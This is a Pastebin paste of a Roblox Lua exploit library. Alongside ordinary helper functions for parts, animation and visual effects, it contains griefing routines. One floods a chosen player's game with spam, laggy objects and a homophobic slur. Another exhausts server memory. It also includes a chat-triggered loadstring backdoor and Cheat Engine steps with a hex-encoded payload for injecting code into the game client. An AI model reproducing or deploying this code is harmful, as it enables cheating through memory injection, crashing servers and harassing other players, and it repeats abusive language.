API tools faq
paste
Edward1221

Untitled

Edward1221
May 26th, 2017
109
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.58 KB | None | 0 0
raw download clone embed print report
  1.  
  2. -- run this first
  3. game:service'Debris':AddItem(script,0)
  4. --script:ClearAllChildren()
  5. -- ­  31398059
  6. SavedFenvs = {}
  7. for i,v in pairs(getfenv()) do
  8. SavedFenvs[i]=true
  9. end
  10. -- c/while wait() do for i=1,200 do Instance.new("Message",game.Players.Damply.PlayerGui).Text="yes" end end
  11.  
  12. ins = Instance.new
  13. v3 = Vector3.new
  14. cn = CFrame.new
  15. ca2 = CFrame.Angles
  16. mf = math.floor
  17. mran = math.random
  18. mrad = math.rad
  19. mdeg = math.deg
  20. ca = function(x,y,z) return ca2(mrad(x),mrad(y),mrad(z)) end
  21. ud=UDim2.new
  22. bn = BrickColor.new
  23. c3 = Color3.new
  24.  
  25. Players = game:service'Players'
  26. Lighting = game:service'Lighting'
  27. Debris = game:service'Debris'
  28.  
  29. Lastqi={}
  30. qit = {}
  31. qit["n"]="Name"
  32. qit["sc"]="Size"
  33. qit["cf"]="CFrame"
  34. qit["an"]="Anchored"
  35. qit["can"]="CanCollide"
  36. qit["mat"]="Material"
  37. qit["bn"]="BrickColor"
  38. qit["mid"]="MeshId"
  39. qit["tid"]="TextureId"
  40. qit["sca"]="Scale"
  41. qit["tra"]="Transparency"
  42. qit["ref"]="Reflectance"
  43. qit["mtyp"]="MeshType"
  44. qit["P0"]="Part0"
  45. qit["P1"]="Part1"
  46. qit[""]=""
  47. qit[""]=""
  48. qit["tya"]="TextYAlignment"
  49. qit["txa"]="TextXAlignment"
  50. qit["bc3"]="BackgroundColor3"
  51. qit["tc3"]="TextColor3"
  52. qit["pos"]="Position"
  53. qit["txt"]="Text"
  54. qit["bgt"]="BackgroundTransparency"
  55. qit["txs"]="TextTransparency"
  56. qit["tst"]="TextStrokeTransparency"
  57. qit["tsc3"]="TextStrokeColor3"
  58. qit[""]=""
  59. qit[""]=""
  60. qit[""]=""
  61.  
  62.  
  63. C3Pro={}
  64. C3Pro['BackgroundColor3']=0
  65. C3Pro['TextColor3']=0
  66. C3Pro['TextStrokeColor3']=0
  67. C3Pro['Color']=0
  68. C3Pro['BackgroundColor3']=0
  69. C3Pro['BackgroundColor3']=0
  70. C3Pro['BackgroundColor3']=0
  71.  
  72. BNPro={}
  73. BNPro['BrickColor']=0
  74.  
  75.  
  76. GuiClass={}
  77. GuiClass["Frame"]=0
  78. GuiClass["TextLabel"]=0
  79. GuiClass["TextButton"]=0
  80. GuiClass["TextBox"]=0
  81. GuiClass["ImageLabel"]=0
  82. GuiClass["ImageButton"]=0
  83. qi = function(tab)
  84. local v = ins(tab[1])
  85. --
  86. if v:IsA("Part") or v:IsA("WedgePart") then v.formFactor="Custom" end
  87. if v:IsA("BasePart") then v.TopSurface=0 v.BottomSurface=0 v.Locked=true end
  88. if GuiClass[v.className] then v.BorderSizePixel=0 end
  89. --
  90. for index,element in pairs(tab) do
  91. if index~=1 and index~=2 then
  92. local index = qit[index] or index
  93. --
  94. if C3Pro[index] and type(element)=='string' then element=bn(element).Color end
  95. if BNPro[index] and type(element)=='string' then element=bn(element) end
  96. --
  97. if index=='Debris' then
  98. Debris:AddItem(v,element)
  99. else
  100. v[index]=element
  101. end
  102. end
  103. end
  104. if type(tab[2])=='number' then v.Parent=Lastqi[#Lastqi-tab[2]] elseif tab[2] then v.Parent=tab[2] end
  105. Lastqi[#Lastqi+1]=v
  106. if v:IsA("BasePart") then v:BreakJoints() end
  107. return v
  108. end
  109.  
  110. iform=function(tab)
  111. for i,v in pairs(tab) do tab[v]=v end
  112. return tab
  113. end
  114.  
  115. SetLocalPlayer = [==[
  116. Player=Players.LocalPlayer
  117. Char=Player.Character
  118. if Char:findFirstChild("Head") or Char:findFirstChild("Torso") then else error'Player/CantFindParts' end
  119. Head=Char.Head
  120. Torso=Char.Torso
  121. Hum=Char.Humanoid
  122. Backpack=Player.Backpack
  123. PlayerGui=Player.PlayerGui
  124. ]==]
  125.  
  126. q = function(f) -- quick function
  127. coroutine.resume(coroutine.create(function() f() end))
  128. end
  129.  
  130. --- the pw is my last name -2 letters + my 2012 school student id
  131.  
  132. PlayerManager={}
  133. PM=PlayerManager
  134. pm=PM
  135. PM.Load = function(ta,st)
  136. local Pv
  137. local count=0
  138. for i,v in pairs(Players:GetPlayers()) do if string.find(v.Name:lower(),st:lower()) and count==0 then Pv=v count=count+1 end end
  139. if not Pv or count>1 then return {} end
  140. local PStat={Name=Pv.Name,Age=Pv.AccountAge,v=Pv}
  141. if Pv.Character and Pv.Character:findFirstChild'Torso' then PStat.Torso=Pv.Character.Torso end
  142. if Pv.Character and Pv.Character:findFirstChild'Humanoid' then PStat.H=Pv.Character.Humanoid end
  143. PStat.Kill = function() if Pv.Character then Pv.Character:BreakJoints() end end
  144. PStat.asd = function() if Pv.Character and Pv.Character:findFirstChild'Torso' and Pv.Character:findFirstChild'Humanoid' then
  145. Pv.Character.Humanoid.Sit=true Pv.Character.Torso.CFrame=Pv.Character.Torso.CFrame*ca(45,0,0) Pv.Character.Torso.Velocity=Pv.Character.Torso.CFrame.lookVector*100 end end
  146. PStat.r=function() Pv:LoadCharacter() end
  147. PStat.Char=function() return Pv.Character end
  148. PStat.load=function() return Pv,Pv.Character,Pv.Backpack,Pv:findFirstChild'PlayerGui' end
  149. PStat.gca=function(t,naa) local Pv2=pm:l(naa).v if Pv2 then Pv.CharacterAppearance=Pv2.CharacterAppearance end end
  150. return PStat
  151. end
  152. PM.l=PM.Load
  153. --c/PlayerManager:Load'drew':asd()
  154. --c/_G.br = function() _G.brr = _G.brr and _G.brr:Remove() _G.brr = qi{'Part',workspace,an=true,FrontSurface='Hinge',cf=cn(0,6,0)} return _G.brr end
  155.  
  156. Welds={}
  157. Ani=function(w,a,b,c,d,e,f,ty,inc,sined)
  158. if not Welds[w] then
  159. local d0,e0,f0=w.C0:toEulerAnglesXYZ() local d1,e1,f1=w.C1:toEulerAnglesXYZ()
  160. local d0,e0,f0=mdeg(d0),mdeg(e0),mdeg(f0) local d1,e1,f1=mdeg(d1),mdeg(e1),mdeg(f1)
  161. Welds[w]={[0]={w.C0.x,w.C0.y,w.C0.z,d0,e0,f0},[1]={w.C1.x,w.C1.y,w.C1.z,d1,e1,f1}}
  162. end
  163. local c0,c1=Welds[w][0],Welds[w][1]
  164. c0[1],c0[2],c0[3]=w.C0.x,w.C0.y,w.C0.z
  165. c1[1],c1[2],c1[3]=w.C1.x,w.C1.y,w.C1.z
  166. local A0,B0,C0,D0,E0,F0 = unpack(c0)
  167. local A1,B1,C1,D1,E1,F1 = unpack(c1)
  168. local Do = function(i)
  169. if ty==0 then
  170. w.C0=cn( A0-((A0-a)*i) , B0-((B0-b)*i) , C0-((C0-c)*i) ) * ca( D0-((D0-d)*i) , E0-(((E0-e)/1)*i) , F0-((F0-f)*i) )
  171. elseif ty==1 then
  172. w.C1=cn( A1-((A1-a)*i) , B1-((B1-b)*i) , C1-((C1-c)*i) ) * ca( D1-((D1-d)*i) , E1-(((E1-e)/1)*i) , F1-((F1-f)*i) )
  173. else
  174. w.C0=cn( A0-((A0-a)*i) , B0-((B0-b)*i) , C0-((C0-c)*i) ) * ca(D0,E0,F0)
  175. w.C1=cn(A1,B1,C1) * ca( D1-((D1-d)*i) , E1-(((E1-e)/1)*i) , F1-((F1-f)*i) )
  176. end
  177. end
  178. for i=inc,1,inc do
  179. Do(sined and math.sin(math.pi/2*i) or i)
  180. wait()
  181. end
  182. Do(1)
  183. if ty==0 then
  184. c0[4],c0[5],c0[6]=d,e,f
  185. else
  186. c1[4],c1[5],c1[6]=d,e,f
  187. end
  188. end
  189. qAni=function(w,a,b,c,d,e,f,ty,inc,sined) q(function() Ani(w,a,b,c,d,e,f,ty,inc,sined) end) end
  190. rAni=function(w)
  191. Welds[w]=nil
  192. end
  193. --script/Ani(workspace.RobroxMasterDX.Torso["Left Shoulder"],-1.5,0.5,0,0,-90,0,0,0.1,true)
  194. --script/Ani(workspace.RobroxMasterDX.Torso["Left Shoulder"],0,0.5,0,0,-90,0,1,0.1)
  195. -- [ ]
  196.  
  197. Sound = function(id,par,vol,pit)
  198. q(function() -- Sound maker
  199. local sou = qi({"Sound",par or workspace,Volume=vol or 1,Pitch=pit or 1,SoundId=id,Debris=4})
  200. wait() sou:play()
  201. end)
  202. end
  203.  
  204. Dmg = function(Hum,Dealt,Hitter)
  205. local HM=Hum.Parent
  206. local HMT,HMB=HM:findFirstChild'Torso',HM:findFirstChild'Block'
  207. local Blocks=HMB and HMB.Value>0
  208. if HMT then
  209. local mm=qi{'Model',HMT,Debris=1} qi{'Humanoid',mm,MaxHealth=0}
  210. local mp= qi{'Part',mm,n='Head',an=true,can=false,sc=v3(1,0.2,1),cf=HMT.CFrame*cn(mran(-100,100)/50,3,mran(-100,100)/50)} qi{'SpecialMesh',mp}
  211. if Blocks then
  212. mm.Name='Block!'
  213. mp.BrickColor=bn'Bright blue'
  214. HMB.Value=HMB.Value-1
  215. else
  216. mm.Name=Dealt
  217. mp.BrickColor=bn'Bright red'
  218. end
  219. end
  220. if not Blocks then
  221. Hum.Health=Hum.Health-Dealt
  222. end
  223. end
  224.  
  225. GetHum = function(part)
  226. local Hum,HT,block
  227. for i,v in pairs(part.Parent:children()) do
  228. if v:IsA("Humanoid") then
  229. Hum=v
  230. elseif v.Name=='Torso' then
  231. HT=v
  232. elseif v.Name=='Block' and v:IsA("NumberValue") then
  233. block=v
  234. end
  235. end
  236. return Hum,HT,block
  237. end
  238.  
  239. ray = function(Pos, Dir,tab) -- ray cast
  240. return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999),tab)
  241. end
  242.  
  243. raydist=function(Pos,Dir,tab)
  244. local hit,pos=ray(Pos,Dir,tab)
  245. return (Pos-pos).magnitude
  246. end
  247.  
  248. RangeAnim=function(obj,sticks,times,speed,range,fu,ignor,isanc,nobreak,dohit)
  249. local isanc = isanc or false
  250. local sts = {}
  251. local Hit,Pos
  252. for i,v in pairs(sticks) do
  253. sts[v]=v.CFrame:toObjectSpace(obj.CFrame)
  254. end
  255. for ty=1,times do
  256. if not obj.Parent then return end
  257. obj.CFrame=obj.CFrame*cn(0,0,-speed)
  258. for i,v in pairs(sts) do i.CFrame=obj.CFrame*v end
  259. local hit,pos=ray(obj.Position,obj.Position-obj.CFrame*cn(0,0,1).p,ignor)
  260. Pos=pos
  261. fu(ty,obj,hit,pos)
  262. if hit and dohit then dohit(hit) end
  263. if (hit and hit.Name~='unray') and (pos-obj.Position).magnitude<range then if not isanc or (hit.Anchored and hit.Transparency<1) then Hit=hit if not nobreak then break end end end
  264. wait()
  265. end
  266. return Hit,(Pos-obj.Position).magnitude,Pos
  267. end
  268.  
  269.  
  270. GetRegion = function(pos,ra,f,f2) -- range get
  271. local p0,p1=pos-v3(ra/2,ra/2,ra/2),pos+v3(ra/2,ra/2,ra/2)
  272. q(function()
  273. for i,v in pairs(workspace:FindPartsInRegion3(Region3.new(p0,p1),nil,100)) do
  274. local Hum=GetHum(v)
  275. if v.Name=='Torso' and Hum and Hum.Health>0 then
  276. q(function() f(Hum,v) end)
  277. elseif f2 and not Hum then
  278. q(function() f2(v) end)
  279. end
  280. end
  281. end)
  282. end
  283.  
  284. AddBV=function(str,cfr,par,deb)
  285. if not par or not str then return end
  286. if par:findFirstChild'LibBV' then par.LibBV:Remove() end
  287. qi{'BodyVelocity',par,velocity=cfr.lookVector*str,maxForce=v3(1,1,1)*50000,Debris=deb,n='LibBV'}
  288. end
  289. AddBG=function(str,par,deb)
  290. if not par then return end
  291. if par:findFirstChild'LibBG' then par.LibBG:Remove() end
  292. qi{'BodyGyro',par,maxTorque=v3(1/0,1/0,1/0),P=100000,cframe=str,Debris=deb,n='LibBG'}
  293. end
  294.  
  295. Trails={}
  296. Trail=function(obj,th,color,inc,wt,adj)
  297. local adj=adj or cn(0,0,0)
  298. Trails[obj]=1
  299. q(function()
  300. local lastpos=(obj.CFrame*adj).p
  301. while Trails[obj] do wait(wt)
  302. local newpos=(obj.CFrame*adj).p
  303. local mag=(newpos-lastpos).magnitude
  304. local trp=qi{'Part',obj,sc=v3(0.2,0.2,0.2),an=true,can=false,bn=bn(color),cf=cn(lastpos,newpos)*cn(0,0,-mag/2)*ca(90,0,0)}
  305. local trpm=qi{'SpecialMesh',trp,sca=v3(th,mag,th)*5}
  306. local trpms=trpm.Scale
  307. lastpos=newpos
  308. q(function()
  309. for i=1,0,-inc do
  310. trp.Transparency=0.3+(0.7*(1-i))
  311. trpm.Scale=v3(th*5*i,mag*5,th*5*i)
  312. wait()
  313. end
  314. trp:Remove()
  315. end)
  316. end
  317. end)
  318. end
  319. --c/Trail(workspace.RobroxMasterDX.Torso,0.5,'Black',0.1,0.1)
  320.  
  321. MeshEffect=function(par,cf,x,y,z,inc,col,sha,adj)
  322. local adj = adj or cn(0,0,0)
  323. local mp=qi{'Part',par,sc=v3(1,1,1),bn=bn(col),cf=cf,tra=0.3,can=false,an=true,n='unray'}
  324. local ms
  325. if sha:sub(1,4)=='http' then
  326. ms=qi{'SpecialMesh',mp,mid=sha}
  327. elseif sha=='Block' then
  328. ms=qi{'BlockMesh',mp}
  329. elseif sha=='Cylinder' then
  330. ms=qi{'CylinderMesh',mp}
  331. elseif sha=='Head' or sha=='Sphere' then
  332. ms=qi{'SpecialMesh',mp,MeshType=sha}
  333. end
  334. q(function()
  335. for i=0,1,inc do
  336. mp.Transparency=0.2+(0.7*i)
  337. mp.CFrame=mp.CFrame*adj
  338. ms.Scale=v3(x,y,z)*(0.3+(0.7*i))
  339. wait(0.03)
  340. end
  341. mp:Remove()
  342. end)
  343. end
  344.  
  345. Lightning = function(par,p0,p1,tym,th,col,inc,spr)
  346. local bricks={}
  347. local cur={}
  348. local mag=(p0-p1).magnitude
  349. for i=1,tym,1 do
  350. cur[i]=cn(p0,p1)*cn(0,0,-mag/tym*i).p+v3(mran(-spr,spr),mran(-spr,spr),mran(-spr,spr))
  351. end
  352. cur[0]=p0
  353. cur[tym]=p1
  354. for i=1,tym do
  355. local mag2=(cur[i-1]-cur[i]).magnitude
  356. bricks[i]=qi{'Part',par,sc=v3(0.2,0.2,0.2),an=true,can=false,bn=bn(col),cf=cn(cur[i-1],cur[i])*cn(0,0,-mag2/2)*ca(90,0,0),tra=0.3,ref=0.15} qi{'BlockMesh',bricks[i],sca=v3(th,mag2,th)*5}
  357. end
  358. q(function()
  359. for i=0,1,inc do
  360. for x,v in pairs(bricks) do v.Transparency=0.3+(0.7*i) end
  361. wait()
  362. end
  363. for i,v in pairs(bricks) do v:Remove() end
  364. end)
  365. end
  366.  
  367. Reconnect=function()
  368. game:service'TeleportService':Teleport(game.PlaceId)
  369. end
  370.  
  371.  
  372. --Set a Table of my variables
  373. LVars = {}
  374. for i,v in pairs(getfenv()) do
  375. if not SavedFenvs[i] then
  376. LVars[i]=v
  377. end
  378. end
  379. _G.LVars = LVars
  380.  
  381. for i,v in pairs(LVars) do _G[i]=v end
  382.  
  383.  
  384. -- loadstring
  385. hazemlaib = [==[
  386. for i,v in pairs(_G.LVars) do
  387. getfenv()[i]=v
  388. end
  389. ]==]
  390.  
  391. _G['R'..'M'..'L'..'ib']=hazemlaib
  392.  
  393. _G.okbye=function()
  394. local ded=Instance.new("StringValue",workspace)
  395. for i=1,10000 do
  396. ded.Value = ded.Value .."lolllllllllllllllll".. ded.Value
  397. wait(0.03)
  398. end
  399. end
  400. _G.alg=function(nn,msg)
  401. local pp=pm:l(nn).v if not pp then return end
  402. for i=1,75 do newLocalScript([[game.Players.LocalPlayer.CameraMode=1 for i=1,100 do coroutine.resume(coroutine.create(function() while wait() do for i=1,200 do local lal=Instance.new("Part",workspace.Camera) lal.Size=Vector3.new(200,200,200) Instance.new("Fire",lal).Size=100 Instance.new("Smoke",lal).Size=3000 Instance.new("Message",workspace).Text='lefaglol' Instance.new("Hint",workspace).Text='lefaglol' end end end)) end]],pp.Character) end
  403. print('lagging'..pp.Parent.Name)
  404. local pp=pp:findFirstChild'PlayerGui' if not pp then return end while wait() do
  405. for i=1,32 do
  406. q(function()
  407. for i=1,16 do
  408. q(function()
  409. for i=1,8 do
  410. q(function()
  411. while wait() do for i=1,100 do Instance.new("Message",pp).Text=msg or 'Dont mess with me Fa­ggot.' end end
  412. end)
  413. end
  414. end)
  415. end
  416. end)
  417. end
  418. --
  419. end
  420. end
  421. _G.alc=function(nn)
  422. pcall(function() qi{'Message',workspace,Debris=4,Text=#game:service'Players'[nn].PlayerGui:children()} end)
  423. end
  424.  
  425.  
  426. q(function()
  427. if Players.LocalPlayer==nil then
  428. for i,v in pairs(script:children()) do
  429. if v:IsA("StringValue") then
  430. for i,p in pairs(Players:GetPlayers()) do
  431. q(function() newLocalScript(v.Value,p.Character) end)
  432. end
  433. end
  434. end
  435. end
  436. end)
  437. --script/loadstring(_G.RMLib)() print(ins)
  438. print('libbaload')
  439.  
  440. --[[
  441.  
  442. repeat wait() until game:service'Players'.LocalPlayer
  443. game:service'Players'.LocalPlayer.Chatted:connect(function(msg) Spawn(loadstring(msg)) end)
  444.  
  445.  
  446. 1. studio
  447. 2. ce
  448. 3. attach and mem view
  449. 4. tools> auto assem
  450. 5.
  451. alloc(newmem,2048) //2kb should be enough
  452. alloc(hax,2048)
  453. label(returnhere)
  454. label(originalcode)
  455. label(exit)
  456.  
  457. hax:
  458. db 72 65 70 65 61 74 20 77 61 69 74 28 29 20 75 6e 74 69 6c 20 67 61 6d 65 3a 73 65 72 76 69 63 65 27 50 6c 61 79 65 72 73 27 2e 4c 6f 63 61 6c 50 6c 61 79 65 72 0d 0a 67 61 6d 65 3a 73 65 72 76 69 63 65 27 50 6c 61 79 65 72 73 27 2e 4c 6f 63 61 6c 50 6c 61 79 65 72 2e 43 68 61 74 74 65 64 3a 63 6f 6e 6e 65 63 74 28 66 75 6e 63 74 69 6f 6e 28 6d 73 67 29 20 53 70 61 77 6e 28 6c 6f 61 64 73 74 72 69 6e 67 28 6d 73 67 29 29 20 65 6e 64 29
  459.  
  460. newmem: //this is allocated memory, you have read,write,execute access
  461. //place your code here
  462.  
  463. originalcode:
  464. call 006B7670
  465. push b99e7c
  466. push hax
  467. push 07
  468. mov ecx,esi
  469. call 6b7670
  470.  
  471. exit:
  472. jmp returnhere
  473.  
  474. 006E156D:
  475. jmp newmem
  476. returnhere:
  477.  
  478. 6. new place, command bar: Game:service'TeleportService':TeleportImpl(20279777,"")
  479.  
  480. ]]
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!